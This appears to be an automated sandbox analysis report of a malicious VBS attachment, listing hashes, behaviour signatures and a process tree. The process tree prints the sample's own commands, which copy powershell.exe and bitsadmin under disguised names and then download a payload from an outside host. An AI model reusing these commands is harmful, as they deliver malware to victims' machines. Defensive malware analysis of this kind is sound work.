Analysis
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max time kernel
123s -
max time network
124s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
30-11-2020 14:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_GRCPTR56P29G273X.vbs
Resource
win7v20201028
General
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Target
Allegato_GRCPTR56P29G273X.vbs
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Size
6KB
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MD5
117b47e28ec75072e0b194c62747fe96
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SHA1
7a6afd4fde5ffed19dee9f039734feace7881b22
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SHA256
a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
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SHA512
ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
OsSlfIOin.exepid process 2000 OsSlfIOin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 1424 wrote to memory of 1764 1424 WScript.exe cmd.exe PID 1424 wrote to memory of 1764 1424 WScript.exe cmd.exe PID 1424 wrote to memory of 1764 1424 WScript.exe cmd.exe PID 1764 wrote to memory of 760 1764 cmd.exe cmd.exe PID 1764 wrote to memory of 760 1764 cmd.exe cmd.exe PID 1764 wrote to memory of 760 1764 cmd.exe cmd.exe PID 1764 wrote to memory of 696 1764 cmd.exe cmd.exe PID 1764 wrote to memory of 696 1764 cmd.exe cmd.exe PID 1764 wrote to memory of 696 1764 cmd.exe cmd.exe PID 1424 wrote to memory of 2000 1424 WScript.exe OsSlfIOin.exe PID 1424 wrote to memory of 2000 1424 WScript.exe OsSlfIOin.exe PID 1424 wrote to memory of 2000 1424 WScript.exe OsSlfIOin.exe PID 1424 wrote to memory of 2000 1424 WScript.exe OsSlfIOin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1764 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe3⤵PID:760
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe3⤵PID:696
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C:\ProgramData\OsSlfIOin.exe"C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg2⤵
- Executes dropped EXE
PID:2000
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51